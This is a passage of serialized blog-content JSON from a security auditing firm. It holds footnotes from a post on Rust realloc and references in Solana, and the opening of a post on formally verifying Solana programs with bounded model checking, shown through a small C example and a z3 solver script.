",{"type":23,"tag":87,"props":18516,"children":18517},{},[18518],{"type":28,"value":3791},{"type":28,"value":18520}," stays alive, however all you have is a reference to the ",{"type":23,"tag":209,"props":18522,"children":18524},{"className":18523},[],[18525],{"type":28,"value":6079},{"type":28,"value":18527}," (through the ",{"type":23,"tag":209,"props":18529,"children":18531},{"className":18530},[],[18532],{"type":28,"value":18533},"Deref\u003CTarget = T>",{"type":28,"value":18535}," impl) - ",{"type":23,"tag":87,"props":18537,"children":18538},{},[18539],{"type":28,"value":18540},"not",{"type":28,"value":18542}," ownership ",{"type":23,"tag":87,"props":18544,"children":18545},{},[18546,18548],{"type":28,"value":18547},"of the ",{"type":23,"tag":209,"props":18549,"children":18551},{"className":18550},[],[18552],{"type":28,"value":6079},{"type":28,"value":18554},". In short, owning an ",{"type":23,"tag":209,"props":18556,"children":18558},{"className":18557},[],[18559],{"type":28,"value":18499},{"type":28,"value":18561}," is owning a (shared, read-only) reference to ",{"type":23,"tag":209,"props":18563,"children":18565},{"className":18564},[],[18566],{"type":28,"value":6079},{"type":28,"value":18568},", not owning ",{"type":23,"tag":209,"props":18570,"children":18572},{"className":18571},[],[18573],{"type":28,"value":6079},{"type":28,"value":18575}," directly like with ",{"type":23,"tag":209,"props":18577,"children":18579},{"className":18578},[],[18580],{"type":28,"value":18581},"Box\u003CT>",{"type":28,"value":18583},". ",{"type":23,"tag":36,"props":18585,"children":18590},{"href":18586,"ariaLabel":18587,"className":18588,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[18589],"data-footnote-backref",[18591],{"type":28,"value":18592},"↩",{"type":23,"tag":135,"props":18594,"children":18596},{"id":18595},"user-content-fn-sendsync",[18597,18603,18604],{"type":23,"tag":209,"props":18598,"children":18600},{"className":18599},[],[18601],{"type":28,"value":18602},"!Send + !Sync",{"type":28,"value":6550},{"type":23,"tag":36,"props":18605,"children":18609},{"href":18606,"ariaLabel":18607,"className":18608,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[18589],[18610],{"type":28,"value":18592},{"type":23,"tag":135,"props":18612,"children":18614},{"id":18613},"user-content-fn-layout",[18615,18617,18622,18623,18636,18638,18643,18645,18650,18652,18657,18659],{"type":28,"value":18616},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":209,"props":18618,"children":18620},{"className":18619},[],[18621],{"type":28,"value":439},{"type":28,"value":5594},{"type":23,"tag":36,"props":18624,"children":18627},{"href":18625,"rel":18626},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[40],[18628,18630],{"type":28,"value":18629},"not declared with ",{"type":23,"tag":209,"props":18631,"children":18633},{"className":18632},[],[18634],{"type":28,"value":18635},"#[repr(C)]",{"type":28,"value":18637},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":87,"props":18639,"children":18640},{},[18641],{"type":28,"value":18642},"breaks the entire chain",{"type":28,"value":18644}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":87,"props":18646,"children":18647},{},[18648],{"type":28,"value":18649},"some",{"type":28,"value":18651}," kind of interface to the specific layout of the specific ",{"type":23,"tag":209,"props":18653,"children":18655},{"className":18654},[],[18656],{"type":28,"value":16561},{"type":28,"value":18658}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":36,"props":18660,"children":18664},{"href":18661,"ariaLabel":18662,"className":18663,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[18589],[18665],{"type":28,"value":18592},{"type":23,"tag":135,"props":18667,"children":18669},{"id":18668},"user-content-fn-rustc-llvm",[18670,18672],{"type":28,"value":18671},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":36,"props":18673,"children":18677},{"href":18674,"ariaLabel":18675,"className":18676,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[18589],[18678],{"type":28,"value":18592},{"type":23,"tag":135,"props":18680,"children":18682},{"id":18681},"user-content-fn-godbolt",[18683,18690,18692,18698,18700],{"type":23,"tag":36,"props":18684,"children":18687},{"href":18685,"rel":18686},"https://godbolt.org/z/PK46xMbxc",[40],[18688],{"type":28,"value":18689},"Click here",{"type":28,"value":18691}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":209,"props":18693,"children":18695},{"className":18694},[],[18696],{"type":28,"value":18697},"libcore",{"type":28,"value":18699}," available for other architectures yet. ",{"type":23,"tag":36,"props":18701,"children":18705},{"href":18702,"ariaLabel":18703,"className":18704,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[18589],[18706],{"type":28,"value":18592},{"type":23,"tag":135,"props":18708,"children":18710},{"id":18709},"user-content-fn-slice-unbound-lifetime",[18711,18713,18718,18720,18726,18728,18734,18736,18742,18744,18750,18752,18758,18760,18765,18767],{"type":28,"value":18712},"The astute reader may have noticed that ",{"type":23,"tag":209,"props":18714,"children":18716},{"className":18715},[],[18717],{"type":28,"value":18405},{"type":28,"value":18719}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":209,"props":18721,"children":18723},{"className":18722},[],[18724],{"type":28,"value":18725},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":18727},", the lifetime parameter ",{"type":23,"tag":209,"props":18729,"children":18731},{"className":18730},[],[18732],{"type":28,"value":18733},"'a",{"type":28,"value":18735}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":209,"props":18737,"children":18739},{"className":18738},[],[18740],{"type":28,"value":18741},"*slice",{"type":28,"value":18743},", which is ",{"type":23,"tag":209,"props":18745,"children":18747},{"className":18746},[],[18748],{"type":28,"value":18749},"&'info [u8]",{"type":28,"value":18751}," (where ",{"type":23,"tag":209,"props":18753,"children":18755},{"className":18754},[],[18756],{"type":28,"value":18757},"'info",{"type":28,"value":18759}," is the lifetime parameter of the ",{"type":23,"tag":209,"props":18761,"children":18763},{"className":18762},[],[18764],{"type":28,"value":439},{"type":28,"value":18766}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":36,"props":18768,"children":18772},{"href":18769,"ariaLabel":18770,"className":18771,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[18589],[18773],{"type":28,"value":18592},{"type":23,"tag":2957,"props":18775,"children":18776},{},[18777],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":18779},[18780,18786,18790,18791,18793],{"id":14442,"depth":226,"text":18781,"children":18782},"Breaking down realloc",[18783,18784],{"id":14608,"depth":524,"text":14611},{"id":15943,"depth":524,"text":18785},"Back to realloc",{"id":16894,"depth":226,"text":16897,"children":18787},[18788,18789],{"id":16900,"depth":524,"text":16903},{"id":17122,"depth":524,"text":17125},{"id":17308,"depth":226,"text":17311},{"id":17709,"depth":226,"text":18792},"Towards safer unsafe",{"id":15540,"depth":226,"text":18484},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":18798,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":18799,"description":18800,"author":18801,"image":18802,"date":18804,"isFeatured":18,"onBlogPage":18,"tags":18805,"body":18806,"_type":2967,"_id":29056,"_source":2969,"_file":29057,"_stem":29058,"_extension":2972},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":18803,"height":13702,"width":13703},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[16,2984],{"type":20,"children":18807,"toc":29028},[18808,18813,18818,18844,18848,18860,18883,18906,18918,18941,18944,18951,19001,19007,19013,19018,19029,19070,19075,19081,19086,19319,19339,19344,19349,19422,19427,19497,19511,19936,19956,19962,19981,19986,19991,19996,20002,20014,20049,20060,20071,20083,20088,20120,20144,20163,20169,20186,20192,20219,20224,20244,20256,20401,20429,20432,20444,20527,20546,20549,20588,20755,20760,20766,20778,20797,20810,20968,20980,20993,21465,21470,21517,21523,21541,21610,21848,22062,22067,22141,22189,22194,22200,22302,22406,22411,22474,22479,22485,22550,22555,22597,22623,22629,22698,22703,22753,22764,22770,22781,22802,22807,22812,22835,22841,22853,22873,23986,24005,24056,24061,24069,24081,24086,24094,24099,24115,24151,24156,24250,24255,24263,24268,24380,24385,24393,24406,24570,24575,24583,24588,24593,24661,24695,24701,24706,24717,24735,25113,25125,25137,25145,25156,25187,25192,25200,25205,25474,25493,25498,25524,26392,26404,26503,26515,26557,26562,26574,26582,26587,26599,26625,26785,26797,26805,26810,27086,27091,27103,27258,27278,27604,27638,27832,27865,27877,27999,28019,28024,28029,28034,28047,28055,28060,28535,28547,28552,28564,28569,28828,28854,28859,28865,28871,28883,28895,28914,28961,28966,28972,28977,28982,28987,28992,28997,29002,29005,29024],{"type":23,"tag":24,"props":18809,"children":18810},{},[18811],{"type":28,"value":18812},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":24,"props":18814,"children":18815},{},[18816],{"type":28,"value":18817},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":24,"props":18819,"children":18820},{},[18821,18823,18827,18829,18834,18836,18843],{"type":28,"value":18822},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":87,"props":18824,"children":18825},{},[18826],{"type":28,"value":16423},{"type":28,"value":18828}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":87,"props":18830,"children":18831},{},[18832],{"type":28,"value":18833},"juciest",{"type":28,"value":18835},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":36,"props":18837,"children":18840},{"href":18838,"rel":18839},"https://rekt.news/leaderboard/",[40],[18841],{"type":28,"value":18842},"hundreds of millions of dollars",{"type":28,"value":124},{"type":23,"tag":18845,"props":18846,"children":18847},"hr",{},[],{"type":23,"tag":24,"props":18849,"children":18850},{},[18851,18853,18858],{"type":28,"value":18852},"At OtterSec we are ",{"type":23,"tag":87,"props":18854,"children":18855},{},[18856],{"type":28,"value":18857},"highly skilled in pest control",{"type":28,"value":18859}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":24,"props":18861,"children":18862},{},[18863,18865,18872,18874,18881],{"type":28,"value":18864},"Recently we were contacted by the ",{"type":23,"tag":36,"props":18866,"children":18869},{"href":18867,"rel":18868},"https://squads.so/",[40],[18870],{"type":28,"value":18871},"Squads team",{"type":28,"value":18873}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":36,"props":18875,"children":18878},{"href":18876,"rel":18877},"https://github.com/Squads-Protocol/squads-mpl",[40],[18879],{"type":28,"value":18880},"Squads Multisig Program",{"type":28,"value":18882}," as our main case study.",{"type":23,"tag":24,"props":18884,"children":18885},{},[18886,18888,18895,18897,18904],{"type":28,"value":18887},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":36,"props":18889,"children":18892},{"href":18890,"rel":18891},"https://www.anchor-lang.com/",[40],[18893],{"type":28,"value":18894},"anchor-lang",{"type":28,"value":18896}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":36,"props":18898,"children":18901},{"href":18899,"rel":18900},"https://github.com/model-checking/kani",[40],[18902],{"type":28,"value":18903},"Kani Rust Verifier",{"type":28,"value":18905},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":24,"props":18907,"children":18908},{},[18909,18911,18916],{"type":28,"value":18910},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":87,"props":18912,"children":18913},{},[18914],{"type":28,"value":18915},"bounded model checking",{"type":28,"value":18917}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":24,"props":18919,"children":18920},{},[18921],{"type":23,"tag":87,"props":18922,"children":18923},{},[18924,18926,18933,18935],{"type":28,"value":18925},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":36,"props":18927,"children":18930},{"href":18928,"rel":18929},"https://osec.io/contact",[40],[18931],{"type":28,"value":18932},"this form",{"type":28,"value":18934}," or email us at ",{"type":23,"tag":36,"props":18936,"children":18938},{"href":18937},"mailto:contact@osec.io",[18939],{"type":28,"value":18940},"contact@osec.io",{"type":23,"tag":18845,"props":18942,"children":18943},{},[],{"type":23,"tag":18945,"props":18946,"children":18948},"h4",{"id":18947},"contents",[18949],{"type":28,"value":18950},"Contents:",{"type":23,"tag":131,"props":18952,"children":18953},{},[18954,18959,18976,18986,18991,18996],{"type":23,"tag":135,"props":18955,"children":18956},{},[18957],{"type":28,"value":18958},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":135,"props":18960,"children":18961},{},[18962,18967,18969,18974],{"type":23,"tag":95,"props":18963,"children":18964},{},[18965],{"type":28,"value":18966},"Specification",{"type":28,"value":18968},": How can we describe what we ",{"type":23,"tag":87,"props":18970,"children":18971},{},[18972],{"type":28,"value":18973},"want",{"type":28,"value":18975}," our program to do?",{"type":23,"tag":135,"props":18977,"children":18978},{},[18979,18984],{"type":23,"tag":95,"props":18980,"children":18981},{},[18982],{"type":28,"value":18983},"Verification",{"type":28,"value":18985},": How do we check that our model is correct?",{"type":23,"tag":135,"props":18987,"children":18988},{},[18989],{"type":28,"value":18990},"Case Study: Squads Multisig",{"type":23,"tag":135,"props":18992,"children":18993},{},[18994],{"type":28,"value":18995},"Additional challenges in Solana",{"type":23,"tag":135,"props":18997,"children":18998},{},[18999],{"type":28,"value":19000},"Conclusion",{"type":23,"tag":47,"props":19002,"children":19004},{"id":19003},"formal-verification-with-bounded-model-checking",[19005],{"type":28,"value":19006},"Formal Verification with Bounded Model Checking",{"type":23,"tag":9693,"props":19008,"children":19010},{"id":19009},"overview",[19011],{"type":28,"value":19012},"Overview",{"type":23,"tag":24,"props":19014,"children":19015},{},[19016],{"type":28,"value":19017},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":24,"props":19019,"children":19020},{},[19021,19023,19028],{"type":28,"value":19022},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":95,"props":19024,"children":19025},{},[19026],{"type":28,"value":19027},"bounded model checking (BMC)",{"type":28,"value":124},{"type":23,"tag":24,"props":19030,"children":19031},{},[19032,19034,19039,19041,19046,19048,19052,19054,19060,19062,19068],{"type":28,"value":19033},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":87,"props":19035,"children":19036},{},[19037],{"type":28,"value":19038},"symbolically",{"type":28,"value":19040}," rather than ",{"type":23,"tag":87,"props":19042,"children":19043},{},[19044],{"type":28,"value":19045},"concretely",{"type":28,"value":19047},". Instead of actually performing an ",{"type":23,"tag":87,"props":19049,"children":19050},{},[19051],{"type":28,"value":605},{"type":28,"value":19053}," when we see the line ",{"type":23,"tag":209,"props":19055,"children":19057},{"className":19056},[],[19058],{"type":28,"value":19059},"int x = a + b",{"type":28,"value":19061},", we store the symbolic expression ",{"type":23,"tag":209,"props":19063,"children":19065},{"className":19064},[],[19066],{"type":28,"value":19067},"x == a + b",{"type":28,"value":19069},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":24,"props":19071,"children":19072},{},[19073],{"type":28,"value":19074},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":9693,"props":19076,"children":19078},{"id":19077},"a-simple-example",[19079],{"type":28,"value":19080},"A simple example",{"type":23,"tag":24,"props":19082,"children":19083},{},[19084],{"type":28,"value":19085},"As an example, consider the following function:",{"type":23,"tag":202,"props":19087,"children":19089},{"code":19088,"language":3244,"meta":7,"className":16566,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[19090],{"type":23,"tag":209,"props":19091,"children":19092},{"__ignoreMap":7},[19093,19123,19157,19169,19194,19222,19237,19264,19271,19278,19286,19312],{"type":23,"tag":213,"props":19094,"children":19095},{"class":215,"line":216},[19096,19101,19106,19110,19114,19119],{"type":23,"tag":213,"props":19097,"children":19098},{"style":230},[19099],{"type":28,"value":19100},"int",{"type":23,"tag":213,"props":19102,"children":19103},{"style":257},[19104],{"type":28,"value":19105}," foo",{"type":23,"tag":213,"props":19107,"children":19108},{"style":220},[19109],{"type":28,"value":265},{"type":23,"tag":213,"props":19111,"children":19112},{"style":230},[19113],{"type":28,"value":19100},{"type":23,"tag":213,"props":19115,"children":19116},{"style":268},[19117],{"type":28,"value":19118}," x",{"type":23,"tag":213,"props":19120,"children":19121},{"style":220},[19122],{"type":28,"value":14870},{"type":23,"tag":213,"props":19124,"children":19125},{"class":215,"line":226},[19126,19131,19135,19139,19144,19148,19153],{"type":23,"tag":213,"props":19127,"children":19128},{"style":230},[19129],{"type":28,"value":19130}," int",{"type":23,"tag":213,"props":19132,"children":19133},{"style":220},[19134],{"type":28,"value":4609},{"type":23,"tag":213,"props":19136,"children":19137},{"style":274},[19138],{"type":28,"value":3190},{"type":23,"tag":213,"props":19140,"children":19141},{"style":220},[19142],{"type":28,"value":19143}," x ",{"type":23,"tag":213,"props":19145,"children":19146},{"style":274},[19147],{"type":28,"value":2703},{"type":23,"tag":213,"props":19149,"children":19150},{"style":514},[19151],{"type":28,"value":19152}," 3",{"type":23,"tag":213,"props":19154,"children":19155},{"style":220},[19156],{"type":28,"value":313},{"type":23,"tag":213,"props":19158,"children":19159},{"class":215,"line":524},[19160,19164],{"type":23,"tag":213,"props":19161,"children":19162},{"style":230},[19163],{"type":28,"value":19130},{"type":23,"tag":213,"props":19165,"children":19166},{"style":220},[19167],{"type":28,"value":19168}," z;\n",{"type":23,"tag":213,"props":19170,"children":19171},{"class":215,"line":533},[19172,19176,19181,19185,19190],{"type":23,"tag":213,"props":19173,"children":19174},{"style":1362},[19175],{"type":28,"value":2653},{"type":23,"tag":213,"props":19177,"children":19178},{"style":220},[19179],{"type":28,"value":19180}," (y ",{"type":23,"tag":213,"props":19182,"children":19183},{"style":274},[19184],{"type":28,"value":10545},{"type":23,"tag":213,"props":19186,"children":19187},{"style":514},[19188],{"type":28,"value":19189}," 100",{"type":23,"tag":213,"props":19191,"children":19192},{"style":220},[19193],{"type":28,"value":14870},{"type":23,"tag":213,"props":19195,"children":19196},{"class":215,"line":543},[19197,19202,19206,19210,19214,19218],{"type":23,"tag":213,"props":19198,"children":19199},{"style":220},[19200],{"type":28,"value":19201}," z ",{"type":23,"tag":213,"props":19203,"children":19204},{"style":274},[19205],{"type":28,"value":3190},{"type":23,"tag":213,"props":19207,"children":19208},{"style":220},[19209],{"type":28,"value":4609},{"type":23,"tag":213,"props":19211,"children":19212},{"style":274},[19213],{"type":28,"value":1696},{"type":23,"tag":213,"props":19215,"children":19216},{"style":514},[19217],{"type":28,"value":8022},{"type":23,"tag":213,"props":19219,"children":19220},{"style":220},[19221],{"type":28,"value":313},{"type":23,"tag":213,"props":19223,"children":19224},{"class":215,"line":551},[19225,19229,19233],{"type":23,"tag":213,"props":19226,"children":19227},{"style":220},[19228],{"type":28,"value":1440},{"type":23,"tag":213,"props":19230,"children":19231},{"style":1362},[19232],{"type":28,"value":3412},{"type":23,"tag":213,"props":19234,"children":19235},{"style":220},[19236],{"type":28,"value":1375},{"type":23,"tag":213,"props":19238,"children":19239},{"class":215,"line":570},[19240,19244,19248,19252,19256,19260],{"type":23,"tag":213,"props":19241,"children":19242},{"style":220},[19243],{"type":28,"value":19201},{"type":23,"tag":213,"props":19245,"children":19246},{"style":274},[19247],{"type":28,"value":3190},{"type":23,"tag":213,"props":19249,"children":19250},{"style":220},[19251],{"type":28,"value":4609},{"type":23,"tag":213,"props":19253,"children":19254},{"style":274},[19255],{"type":28,"value":2703},{"type":23,"tag":213,"props":19257,"children":19258},{"style":514},[19259],{"type":28,"value":4618},{"type":23,"tag":213,"props":19261,"children":19262},{"style":220},[19263],{"type":28,"value":313},{"type":23,"tag":213,"props":19265,"children":19266},{"class":215,"line":655},[19267],{"type":23,"tag":213,"props":19268,"children":19269},{"style":220},[19270],{"type":28,"value":2875},{"type":23,"tag":213,"props":19272,"children":19273},{"class":215,"line":1176},[19274],{"type":23,"tag":213,"props":19275,"children":19276},{"emptyLinePlaceholder":18},[19277],{"type":28,"value":530},{"type":23,"tag":213,"props":19279,"children":19280},{"class":215,"line":1202},[19281],{"type":23,"tag":213,"props":19282,"children":19283},{"style":537},[19284],{"type":28,"value":19285}," // Property P:\n",{"type":23,"tag":213,"props":19287,"children":19288},{"class":215,"line":1758},[19289,19294,19299,19303,19308],{"type":23,"tag":213,"props":19290,"children":19291},{"style":257},[19292],{"type":28,"value":19293}," assert",{"type":23,"tag":213,"props":19295,"children":19296},{"style":220},[19297],{"type":28,"value":19298},"(z ",{"type":23,"tag":213,"props":19300,"children":19301},{"style":274},[19302],{"type":28,"value":15743},{"type":23,"tag":213,"props":19304,"children":19305},{"style":514},[19306],{"type":28,"value":19307}," 105",{"type":23,"tag":213,"props":19309,"children":19310},{"style":220},[19311],{"type":28,"value":2867},{"type":23,"tag":213,"props":19313,"children":19314},{"class":215,"line":1767},[19315],{"type":23,"tag":213,"props":19316,"children":19317},{"style":220},[19318],{"type":28,"value":1208},{"type":23,"tag":24,"props":19320,"children":19321},{},[19322,19324,19330,19332,19338],{"type":28,"value":19323},"This function takes an input ",{"type":23,"tag":209,"props":19325,"children":19327},{"className":19326},[],[19328],{"type":28,"value":19329},"x",{"type":28,"value":19331}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":209,"props":19333,"children":19335},{"className":19334},[],[19336],{"type":28,"value":19337},"z != 105",{"type":28,"value":124},{"type":23,"tag":24,"props":19340,"children":19341},{},[19342],{"type":28,"value":19343},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":24,"props":19345,"children":19346},{},[19347],{"type":28,"value":19348},"Positive branch:",{"type":23,"tag":202,"props":19350,"children":19352},{"code":19351,"language":3244,"meta":7,"className":16566,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[19353],{"type":23,"tag":209,"props":19354,"children":19355},{"__ignoreMap":7},[19356,19381,19397],{"type":23,"tag":213,"props":19357,"children":19358},{"class":215,"line":216},[19359,19364,19368,19372,19376],{"type":23,"tag":213,"props":19360,"children":19361},{"style":220},[19362],{"type":28,"value":19363},"y ",{"type":23,"tag":213,"props":19365,"children":19366},{"style":274},[19367],{"type":28,"value":8660},{"type":23,"tag":213,"props":19369,"children":19370},{"style":220},[19371],{"type":28,"value":19143},{"type":23,"tag":213,"props":19373,"children":19374},{"style":274},[19375],{"type":28,"value":2703},{"type":23,"tag":213,"props":19377,"children":19378},{"style":514},[19379],{"type":28,"value":19380}," 3\n",{"type":23,"tag":213,"props":19382,"children":19383},{"class":215,"line":226},[19384,19388,19392],{"type":23,"tag":213,"props":19385,"children":19386},{"style":220},[19387],{"type":28,"value":19363},{"type":23,"tag":213,"props":19389,"children":19390},{"style":274},[19391],{"type":28,"value":10545},{"type":23,"tag":213,"props":19393,"children":19394},{"style":514},[19395],{"type":28,"value":19396}," 100\n",{"type":23,"tag":213,"props":19398,"children":19399},{"class":215,"line":524},[19400,19405,19409,19413,19417],{"type":23,"tag":213,"props":19401,"children":19402},{"style":220},[19403],{"type":28,"value":19404},"z ",{"type":23,"tag":213,"props":19406,"children":19407},{"style":274},[19408],{"type":28,"value":8660},{"type":23,"tag":213,"props":19410,"children":19411},{"style":220},[19412],{"type":28,"value":4609},{"type":23,"tag":213,"props":19414,"children":19415},{"style":274},[19416],{"type":28,"value":1696},{"type":23,"tag":213,"props":19418,"children":19419},{"style":514},[19420],{"type":28,"value":19421}," 2\n",{"type":23,"tag":24,"props":19423,"children":19424},{},[19425],{"type":28,"value":19426},"Negative branch:",{"type":23,"tag":202,"props":19428,"children":19430},{"code":19429,"language":3244,"meta":7,"className":16566,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[19431],{"type":23,"tag":209,"props":19432,"children":19433},{"__ignoreMap":7},[19434,19457,19473],{"type":23,"tag":213,"props":19435,"children":19436},{"class":215,"line":216},[19437,19441,19445,19449,19453],{"type":23,"tag":213,"props":19438,"children":19439},{"style":220},[19440],{"type":28,"value":19363},{"type":23,"tag":213,"props":19442,"children":19443},{"style":274},[19444],{"type":28,"value":8660},{"type":23,"tag":213,"props":19446,"children":19447},{"style":220},[19448],{"type":28,"value":19143},{"type":23,"tag":213,"props":19450,"children":19451},{"style":274},[19452],{"type":28,"value":2703},{"type":23,"tag":213,"props":19454,"children":19455},{"style":514},[19456],{"type":28,"value":19380},{"type":23,"tag":213,"props":19458,"children":19459},{"class":215,"line":226},[19460,19464,19469],{"type":23,"tag":213,"props":19461,"children":19462},{"style":220},[19463],{"type":28,"value":19363},{"type":23,"tag":213,"props":19465,"children":19466},{"style":274},[19467],{"type":28,"value":19468},"\u003C=",{"type":23,"tag":213,"props":19470,"children":19471},{"style":514},[19472],{"type":28,"value":19396},{"type":23,"tag":213,"props":19474,"children":19475},{"class":215,"line":524},[19476,19480,19484,19488,19492],{"type":23,"tag":213,"props":19477,"children":19478},{"style":220},[19479],{"type":28,"value":19404},{"type":23,"tag":213,"props":19481,"children":19482},{"style":274},[19483],{"type":28,"value":8660},{"type":23,"tag":213,"props":19485,"children":19486},{"style":220},[19487],{"type":28,"value":4609},{"type":23,"tag":213,"props":19489,"children":19490},{"style":274},[19491],{"type":28,"value":2703},{"type":23,"tag":213,"props":19493,"children":19494},{"style":514},[19495],{"type":28,"value":19496}," 1\n",{"type":23,"tag":24,"props":19498,"children":19499},{},[19500,19502,19509],{"type":28,"value":19501},"Using the ",{"type":23,"tag":36,"props":19503,"children":19506},{"href":19504,"rel":19505},"https://github.com/Z3Prover/z3",[40],[19507],{"type":28,"value":19508},"z3",{"type":28,"value":19510}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":202,"props":19512,"children":19516},{"code":19513,"language":19514,"meta":7,"className":19515,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[19517],{"type":23,"tag":209,"props":19518,"children":19519},{"__ignoreMap":7},[19520,19543,19550,19576,19600,19624,19631,19639,19656,19684,19703,19731,19738,19746,19767,19785,19792,19800,19815,19842,19861,19888,19895,19902,19921],{"type":23,"tag":213,"props":19521,"children":19522},{"class":215,"line":216},[19523,19528,19533,19538],{"type":23,"tag":213,"props":19524,"children":19525},{"style":1362},[19526],{"type":28,"value":19527},"from",{"type":23,"tag":213,"props":19529,"children":19530},{"style":220},[19531],{"type":28,"value":19532}," z3 ",{"type":23,"tag":213,"props":19534,"children":19535},{"style":1362},[19536],{"type":28,"value":19537},"import",{"type":23,"tag":213,"props":19539,"children":19540},{"style":274},[19541],{"type":28,"value":19542}," *\n",{"type":23,"tag":213,"props":19544,"children":19545},{"class":215,"line":226},[19546],{"type":23,"tag":213,"props":19547,"children":19548},{"emptyLinePlaceholder":18},[19549],{"type":28,"value":530},{"type":23,"tag":213,"props":19551,"children":19552},{"class":215,"line":524},[19553,19558,19562,19567,19572],{"type":23,"tag":213,"props":19554,"children":19555},{"style":220},[19556],{"type":28,"value":19557},"x ",{"type":23,"tag":213,"props":19559,"children":19560},{"style":274},[19561],{"type":28,"value":3190},{"type":23,"tag":213,"props":19563,"children":19564},{"style":220},[19565],{"type":28,"value":19566}," Int(",{"type":23,"tag":213,"props":19568,"children":19569},{"style":246},[19570],{"type":28,"value":19571},"'x'",{"type":23,"tag":213,"props":19573,"children":19574},{"style":220},[19575],{"type":28,"value":2183},{"type":23,"tag":213,"props":19577,"children":19578},{"class":215,"line":533},[19579,19583,19587,19591,19596],{"type":23,"tag":213,"props":19580,"children":19581},{"style":220},[19582],{"type":28,"value":19363},{"type":23,"tag":213,"props":19584,"children":19585},{"style":274},[19586],{"type":28,"value":3190},{"type":23,"tag":213,"props":19588,"children":19589},{"style":220},[19590],{"type":28,"value":19566},{"type":23,"tag":213,"props":19592,"children":19593},{"style":246},[19594],{"type":28,"value":19595},"'y'",{"type":23,"tag":213,"props":19597,"children":19598},{"style":220},[19599],{"type":28,"value":2183},{"type":23,"tag":213,"props":19601,"children":19602},{"class":215,"line":543},[19603,19607,19611,19615,19620],{"type":23,"tag":213,"props":19604,"children":19605},{"style":220},[19606],{"type":28,"value":19404},{"type":23,